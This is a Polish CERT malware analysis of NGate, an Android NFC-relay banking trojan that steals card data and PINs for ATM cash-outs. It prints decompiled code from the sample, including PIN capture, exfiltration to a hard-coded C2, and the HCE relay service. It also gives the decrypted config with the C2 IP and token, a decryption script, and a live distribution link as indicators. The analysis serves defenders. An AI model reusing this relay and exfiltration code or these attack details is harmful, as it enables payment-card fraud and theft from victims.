Analiza kampanii złośliwego systemu NGate (NFC relay)

cert.pl 15 godzin temu

Zespół CERT Polska w ostatnich miesiącach zaobserwował nowe próbki mobilnego złośliwego systemu powiązane z atakiem NFC Relay (NGate) wymierzonym w użytkowników polskich banków.

Podstawowe informacje

Celem ataku jest umożliwienie nieuprawnionych wypłat gotówki z bankomatów z wykorzystaniem kart płatniczych ofiar. Przestępcy nie kradną fizycznie karty - przekazują ruch NFC karty z telefonu ofiary do urządzenia przestępcy stojącego przy bankomacie.

Jak to działa?

Socjotechnika/phishing - Ofiara dostaje wiadomość phishingową (e-mail/SMS) o rzekomym problemie technicznym lub incydencie bezpieczeństwa. Link prowadzi na stronę, która nakłania do instalacji aplikacji na Androida. Analizowana przez nas próbka była dystrybuowana przez files[.]fm/u/yfwsanu886

Telefon od "pracownika" banku - Oszust dzwoni, podając się za pracownika banku, aby „potwierdzić tożsamość” i uwiarygodnić instalację aplikacji. Użytkownik otrzymuje też SMS potwierdzający tożsamość rzekomego pracownika.

W aplikacji ofiara jest proszona o zweryfikowanie swojej karty płatniczej bezpośrednio w interfejsie. Musi przyłożyć fizyczną kartę do telefonu (NFC), a następnie wpisać PIN karty na ekranowej klawiaturze. Poniżej przykładowe zrzuty pokazujące tę technikę w wielu próbkach celujących w różne banki.

Kiedy ofiara zbliża kartę do czytnika, aplikacja przechwytuje dane NFC karty (te same dane, które przepływają przez terminal/bankomat) i wysyła je przez Internet do urządzenia atakującego znajdującego się przy bankomacie ( lub do serwera Command&Control, który następnie wysyła je do urządzenia przy bankomacie). Urządzenie atakującego odtwarza te dane w bankomacie. Dzięki przekazanym danym karty i kodowi PIN atakujący wypłaca gotówkę.

Co znaleźliśmy w analizowanej próbce?

  • Aplikacja rejestruje się jako usługa płatnicza HCE (Host Card Emulation) w Androidzie (może zachowywać się jak wirtualna karta).
  • Adres serwera i jego działanie są ukryte w niewielkim zaszyfrowanym pliku dołączonym do aplikacji.
  • Odszyfrowaliśmy ten zasób i wydobyliśmy aktywny serwer c2:
    • IP/port: 91.84.97.13:5653
  • Interfejs zawiera klawiaturę PIN; PIN jest wysyłany do atakującego razem z danymi NFC.

Jak się chronić

  • Zawsze pobieraj aplikacje bankowe wyłącznie z oficjalnych sklepów (Google Play Store / App Store).
  • Jeśli dzwoni do Ciebie Twój bank i informuje, iż dzieje się coś złego, rozłącz się i oddzwoń na numer banku. Ta metoda w 100% weryfikuje prawdziwość połączenia.

Analiza techniczna

Każda aplikacja na Androida zaczyna się od pliku AndroidManifest.xml. Definiuje on komponenty aplikacji, w tym działania, usługi i uprawnienia. W kontekście analizy kluczową informacją jest ustalenie punktu startowego aplikacji:

Manifest:

  • punkt startowy
<activity android:name="rha.dev.p031me.SuperMain" android:exported="true" android:launchMode="singleTask" android:screenOrientation="portrait" android:configChanges="screenSize|screenLayout|orientation|keyboardHidden"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity>
  • uprawnienia
<uses-permission android:name="android.permission.NFC" android:required="true"/> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" android:required="true"/> <uses-permission android:name="android.permission.INTERNET" android:required="true"/>
  • usługa HCE
<service android:name="rha.dev.me.nfc.hce.ApduService" android:permission="android.permission.BIND_NFC_SERVICE" android:exported="true"> <intent-filter> <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/> <category android:name="android.intent.category.DEFAULT"/> </intent-filter> <meta-data android:name="android.nfc.cardemulation.host_apdu_service" android:resource="@xml/hce"/> </service>
  • Przykładowa deklaracja AID (skrócona):
<host-apdu-service ...> <aid-group android:category="payment" android:description="@string/app_name"> <aid-filter android:name="F001020304050607" /> </aid-group> </host-apdu-service>

Wniosek: Aplikacja może zostać skonfigurowana jako usługa płatnicza HCE i będzie wywoływana przez stos NFC podczas komunikacji z terminalem/czytnikiem.

Start procesu

Po zainstalowaniu pliku APK i uruchomieniu procesu (np. po wybudzeniu go przez program uruchamiający/alias lub usługę) strona Java uruchamia natywną bibliotekę pomocniczą, która ładuje i weryfikuje konfigurację środowiska uruchomieniowego. Punktem wejścia do niej jest klasa rha.dev.me.util.Globals.

static { System.loadLibrary("app"); //libapp.so } /* renamed from: a */ public static String m29a() { Intent intent = new Intent("android.intent.action.MAIN"); intent.addCategory("android.intent.category.LAUNCHER"); List<ResolveInfo> queryIntentActivities = f476b.getPackageManager().queryIntentActivities(intent, 0); String packageName = f476b.getPackageName(); for (ResolveInfo resolveInfo : queryIntentActivities) { if (resolveInfo.activityInfo.packageName.equals(packageName)) { return resolveInfo.activityInfo.name; } } return "rha.dev.me.SuperMain"; } /* renamed from: b */ public static void m28b(Context context) { f476b = context; init(context); loadNConfig(context, context.getAssets()); } public static native void init(Context context); public static native void loadNConfig(Context context, AssetManager assetManager); public static native boolean reader(); public static native boolean vts();

Podstawowa logika aplikacji jest inicjowana przez System.loadLibrary(„app”);, które ładuje libapp.so do procesu. Ten natywny obiekt odpowiada za najważniejsze etapy: najpierw wyprowadza 32-bajtowy klucz z SHA-256 certyfikatu podpisującego APK (DER). dzięki tego klucza odszyfrowuje on hex blob pobrany z zasobu assets/____ aplikacji. Kolejny krok polega na analizowaniu par tekstowych klucz-wartość z tych odszyfrowanych danych i kompilowaniu ich do wewnętrznej mapy konfiguracyjnej.

Warto zauważyć, iż kod implementuje mechanizm obronny: w przypadku niepowodzenia odszyfrowania lub analizy biblioteka wykonuje wywołanie zwrotne do języka Java w celu wyłączenia programu uruchamiającego - zachowanie to znane jest jako wzorzec safeExit(). Konfiguracja jest uruchamiana przez metodę Java m28b(Context). Metoda ta najpierw wywołuje natywną metodę init(context) w celu skonfigurowania podstawowego stanu współdzielonego, logowania i wewnętrznych zmiennych lokalnych wątku, a następnie wywołuje natywną metodę loadNConfig(context, context.getAssets()) w celu rozpoczęcia procesu odszyfrowywania. W większości kompilacji m28b jest wywoływana bardzo wcześnie - albo z Application.onCreate(), albo z pierwszej Activity.onCreate() - aby zapewnić gotowość niezbędnego gniazda komunikacyjnego w momencie wyświetlenia monitu „zweryfikuj kartę”.

Ponadto natywne flagi boolowskie reader() i vts() ujawniają bity konfiguracyjne (np. reader:=true, mode:=card), umożliwiając warstwie Java dynamiczne określenie, które metody transportu i role NFC należy aktywować.

Natywny moduł ładujący konfigurację (libapp.so) do C2 w postaci zwykłego tekstu

Istotne są dwa elementy natywne: wyprowadzanie klucza i moduł ładujący konfigurację.

Wyprowadzanie klucza (JNI → SHA-256 certyfikatu podpisu):

Zdekompilowana funkcja get_cert_sha(JNIEnv*, unsigned char* out) definiuje proces wyprowadzania klucza. Rozpoczyna się ona wywołaniem funkcji PackageManager.getPackageInfo(..., GET_SIGNATURES). Następnie odczytuje Signature.toByteArray() i opakowuje wynik dzięki CertificateFactory(„X.509”).generateCertificate(InputStream). Następnie wywołuje funkcję cert.getEncoded() i oblicza skrót dzięki MessageDigest(„SHA-256”).digest(encodedCert). Na koniec kopiuje wynikowe 32 bajty do out.

Wniosek: klucz XOR jest dokładnie taki sam jak SHA-256 certyfikatu podpisu aplikacji (DER).

Dekryptowanie i parsowanie konfiguracji

  1. AAssetManager_open("____", AASSET_MODE_BUFFER) - ładuje ASCII-hex blob z assets/____.
  2. hexToBytes() - zamiana na ciphertext binarny.
  3. deszyfrowywanie XOR bajt po bajcie przy użyciu 32-bajtowego klucza (powtarzającego się co 32 bajty): c for (i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];
  4. Parsuje tekst jawny linia po linii dzięki getline; każda linia musi mieć postać key := value; każda para jest wstawiana do configMap i rejestrowana: c I/AppCheck: Parsed host := 91.84.97.13
  5. verifyCnf(env); jeżeli coś się nie powiedzie → wywołaj Java safeExit() (co wyłącza program uruchamiający).

Odszyfrowana konfiguracja dla analizowanej próbki::

host:=91.84.97.13 port:=5653 sharedToken:=c2458bfc-9cb4-4998-b814-d3686b0fe088 tls:=false mode:=card reader:=true uniqueID:=395406 ttd:=1761668025

Reprodukcja offline

#apksigner verify --print-certs SGB.apk #Signer #1 certificate SHA-256 digest: b3a935de8a8be2ce2350fd90936b51650316475b478795ce9cf8ffaf6e765709 import binascii, pathlib key = bytes.fromhex("b3a935de8a8be2ce2350fd90936b51650316475b478795ce9cf8ffaf6e765709") ct = bytes.fromhex(pathlib.Path(r"\path\to\asset\____").read_text().strip()) pt = bytes(c ^ key[i % 32] for i, c in enumerate(ct)) print(pt.decode("utf-8", errors="replace"))

Otwarcie połączenia: host/port z JNI, protokół ramkowy

Łączność sieciowa jest zawarta w Transport i C0214a (połączenie i wątki). Uwaga: host/port pochodzą z JNI, tj. odszyfrowanej konfiguracji.

// rha.dev.p031me.net.transport.Transport (excerpt) public abstract class Transport { private final String f412a = host(); // JNI → "91.84.97.13" private final int f413b = Integer.parseInt(port());// JNI → 5653 public static native String host(); public static native String port(); public boolean m67b() { // connect-once if (f414c != null || f415d) return false; f415d = true; f414c = mo0d(f412a, f413b); // open socket mo1c(); // TLS hook (unused if tls=false) return true; } protected abstract Socket mo0d(String host, int port); protected abstract void mo1c(); }

C0214a uruchamia wątek wysyłania i odbierania. To właśnie tam krystalizuje się kształt protokołu.

Wychodzące (client→server): len(4) | opcode(4) | body(len) Przychodzące (server→client): len(4) | body(len) (Kod operacyjny znajduje się wewnątrz ciała jako pole ServerData)

// p038y.C0256c — SendThread: exact wire format client→server void mo2c() { C0253c msg = (C0253c) this.f526b.m123d().take(); out.writeInt(msg.m6a().length); // int32 len (BE) out.writeInt(msg.m5b()); // int32 opcode (BE) out.write(msg.m6a()); // body out.flush(); }
// p038y.C0255b — ReceiveThread: server→client is just length + bytes void mo2c() { int len = in.readInt(); if (len > 104857600) throw new IOException("Invalid protocol length"); byte[] body = new byte[len]; in.readFully(body); this.f526b.m120g(body); // → NetMan.mo114b(byte[]) }

Wybór transportu (TCP vs TLS)

Aplikacja ukrywa tworzenie gniazd za Transport.d(host, port). Istnieją dwie implementacje:

// z/a.java — plain TCP used when tls=false public final class a extends Transport { @Override protected Socket d(String host, int port) throws IOException { return new Socket(host, port); } } // z/b.java — TLS variant (not used in this sample) public final class b extends Transport { @Override protected Socket d(String host, int port) throws IOException { SSLSocketFactory f = (SSLSocketFactory) SSLSocketFactory.getDefault(); SSLSocket s = (SSLSocket) f.createSocket(host, port); s.startHandshake(); // pinning/custom TrustManager appears elsewhere return s; } }

Ramki są łatwe do podpisania na połączeniu, a ponieważ tls=false, payload jest w postaci zwykłego tekstu.

Dyspozytor: rola NetMan i historia opcode

NetMan koordynuje sesję: serializuje komunikaty wyższego poziomu (ServerData) i reaguje na odpowiedzi serwera. Można go traktować jako „mózg sesji”.

// rha.dev.p031me.net.NetMan (excerpt) — the one true outbox private void m150H(ServerData.EnumC0219b op, byte[] data) { if (this.f402b == null) { /* queue until connected */ return; } byte[] payload = new ServerData() .m74g(op) // opcode .m73h(sharedToken()) // JNI token .m72i(Globals.reader() ? ServerData.EnumC0218a.TYPE_READER : ServerData.EnumC0218a.TYPE_EMITTER) .m75f(data != null ? data : new byte[0]) // data blob .m71j(); // native serialize this.f402b.m117j(Integer.parseInt(uniqueID()), payload); // → SendThread }

Po stronie wejścia blob z serwera jest parsowany do ServerData (natywnie). NetMan obsługuje synchronizację, walidację PIN, listy, kill-switch (ukryj aplikację), a także keepalive co 7 sekund (OP_PING).

public void mo114b(byte[] body) { ServerData m = ServerData.m76e(body); // native parse switch (m.m78c()) { case OP_SYN: m150H(ServerData.EnumC0219b.OP_ACK, null); break; case OP_PIN_VALID: InterfaceC0039c.f64h.mo184i(true); break; case OP_PIN_INVALID: InterfaceC0039c.f64h.mo184i(false); break; case OP_PSH: InterfaceC0039c.f61e.mo184i(new C0160a(m.m79b())); break; // APDUs case OP_SHUTDOWN_EMITTER: m134s(); m138o(); break; // hide app & disconnect // ... } m155C(); // schedule OP_PING every 7s }

Rejestracja NFC: tryb czytnika

Chociaż plik APK zawiera odpowiednią usługę HCE (emulacja karty), odszyfrowana konfiguracja ustawia reader=true, co aktywuje ścieżkę czytnika: telefon zachowuje się jak czytnik prawdziwej karty, którą ofiara przyłożyła do telefonu.

Fragment interfejsu użytkownika wyraźnie pokazuje tę ścieżkę: po rozpoznaniu metadanych karty wyświetla numer PAN, datę ważności i schemat (według AID).

// p025m0.FragmentC0191s — shows card details once recognized private void m245w(C0068c c) { m248t(); // switch views this.f332d.setRectNumber(c.m460c()); // PAN this.f332d.setRectDate(AbstractC0161b.m316d(c.m461b())); // YYMM → MM/YY // pick scheme image by AID this.f332d.setRectTypeImage( m260h(AbstractC0161b.m317c(((C0067b) c.m462a().get(0)).m467b())) ); } private int m260h(String hexAid) { return hexAid.contains("A000000004") ? R.drawable.mc // Mastercard : hexAid.contains("A000000003") ? R.drawable.visa_logo // Visa : hexAid.contains("A000000658") ? R.drawable.logo_mir // MIR : hexAid.contains("A000000333") ? R.drawable.union_pay_logo : R.drawable.logo_empty; }

Pod maską parser EMV wypełnia obiekt C0068c (PAN, data ważności, AID). Gdy wszystko jest gotowe, NetMan umieszcza go w CardData i wysyła komunikat OP_CARD_DISCOVERED:

// rha.dev.p031me.net.NetMan public void m154D(byte[] bArr) { m150H(ServerData.EnumC0219b.OP_CARD_DISCOVERED, bArr); }

Informacje przesyłane przez sieć są wyraźnie określone w CardData: obejmują numer PAN, identyfikatory AID, datę ważności oraz (później) kod PIN.

// rha.dev.p031me.net.c2s.CardData (excerpt) public class CardData { private List<String> cardAids; private String cardNumber, expiration, pin; private Boolean pinConfirmed; public byte[] m87l() { return toBytesNative(m97b(), (String[]) cardAids.toArray(new String[0]), m95d(), m96c(), m94e()); // ← pin included } public native byte[] toBytesNative(String num, String[] aids, String pin, String exp, boolean confirmed); }

Przechwytywanie kodu PIN: z klawiatury do scoketu w jednym kroku

Niestandardowa klawiatura PIN przechwytuje cyfry do specjalnego pola EditText. Po osiągnięciu wymaganej długości (domyślnie 4) publikuje pełny PIN na wewnętrznej szynie zdarzeń.

// rha.dev.p031me.pinlibrary.PinCodeField (excerpt) public class PinCodeField extends EditText { class C0222b implements TextWatcher { public void afterTextChanged(final Editable e) { if (e.length() == PinCodeField.this.f429e) { // default 4 PinCodeField.this.postDelayed(() -> { InterfaceC0039c.f62f.mo184i(e.toString()); // publish PIN }, 100L); } } } }

Warstwa sieciowa nasłuchuje tego zdarzenia i natychmiast eksfiltruje kod PIN jako dedykowany kod opcode:

// rha.dev.p031me.net.NetMan public void m153E(String str) { m150H(ServerData.EnumC0219b.OP_PIN_REQ, str.getBytes(StandardCharsets.UTF_8)); }

Serwer odpowiada komunikatem „OP_PIN_VALID” / „OP_PIN_INVALID” (reakcja interfejsu użytkownika), ale w tym momencie kod PIN opuścił już urządzenie. Dodatkowo, podczas serializacji blobu karty (CardData.m87l()), pole PIN może zostać tam również uwzględnione.

Usługa HCE: dowód zdolności „emitera”

Mimo iż ta próbka działa jako czytnik, zawiera w pełni zadeklarowaną usługę HostApduService z identyfikatorem AID podobnym do płatności i bez wymogu odblokowania.

<!-- res/xml/hce.xml --> <host-apdu-service android:description="@string/app_name" android:requireDeviceUnlock="false" android:apduServiceBanner="@mipmap/ic_launcher"> <aid-group android:category="other"> <aid-filter android:name="F001020304050607"/> </aid-group> <aid-group android:category="payment"> <aid-filter android:name="F001020304050607"/> </aid-group> </host-apdu-service>

Usługa rejestruje i przekazuje przychodzące komunikaty APDU (jako punkt końcowy przekaźnika), zwracając pustą odpowiedź:

// rha.dev.p031me.nfc.hce.ApduService (excerpt) public class ApduService extends HostApduService { @Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) { Log.d("ApduService", "APDU-IN: " + AbstractC0161b.m319a(apdu)); C0160a wrapped = new C0160a(false, false, apdu); // wrap APDU C0009i bus = C0009i.m547n(); if (bus != null) bus.m545p(false, wrapped, this); // forward upstream return new byte[0]; // pure relay } }

Dlaczego to ma znaczenie? - NGate może pełnić dwie role:: 1. Czytnik wersja, w której ofiara zczytuje swoją kartę, 2. Emiter telefon przy bankomacie (HCE do terminala), połączony tym samym modelem kodu operacyjnego – klasyczna topologia NFC relay.

Summary

NGate to złośliwe oprogramowanie dla systemu Android, które wykorzystuje przekaźnik NFC do wypłacania gotówki z bankomatów przy użyciu kart ofiar. Jest ono dostarczane dzięki phishingu oraz telefonu od „wsparcia bankowego”, który naciska na użytkownika, aby zainstalował aplikację, przyłożył kartę do telefonu i wprowadził PIN. Aplikacja działa w trybie czytnika, aby przechwycić EMV APDU i PIN, a następnie przesyła je dzięki prostego protokołu TCP do zakodowanego na stałe C2; ta sama rodzina dostarcza również usługę HCE kategorii płatności, umożliwiającą pełnienie roli nadajnika w bankomacie. Konfiguracja jest przechowywana jako zasób zaszyfrowany algorytmem XOR z kluczem pochodzącym z certyfikatu podpisującego APK (SHA-256); w tej próbce prowadzi to do jawnego C2. Wniosek: po przyłożeniu karty i wpisaniu PINu napastnik może przekazać sesję i wypłacić gotówkę.

Kluczowe wnioski

  • Inżynieria społeczna → aplikacja pobrana z innego źródła → dotknięcie karty + PIN → przekazanie do bankomatu.
  • Obsługiwane role: czytnik (telefon ofiary) i emiter (telefon atakującego/strona bankomatu).
  • Konfiguracja odszyfrowana z zasobów /____ przy użyciu SHA-256(cert) jako klucza XOR.
  • Ramki tekstu jawnego w sieci (len|opcode|body), okresowe sygnały keep-alive.
  • Co opuszcza urządzenie: PAN, data ważności, AID, APDU i PIN.

IOC

2cee3f603679ed7e5f881588b2e78ddc 701e6905e1adf78e6c59ceedd93077f3 2cb20971a972055187a5d4ddb4668cc2 b0a5051df9db33b8a1ffa71742d4cb09 bcafd5c19ffa0e963143d068c8efda92 91.84.97.13:5653 files[.]fm/u/yfwsanu886
Idź do oryginalnego materiału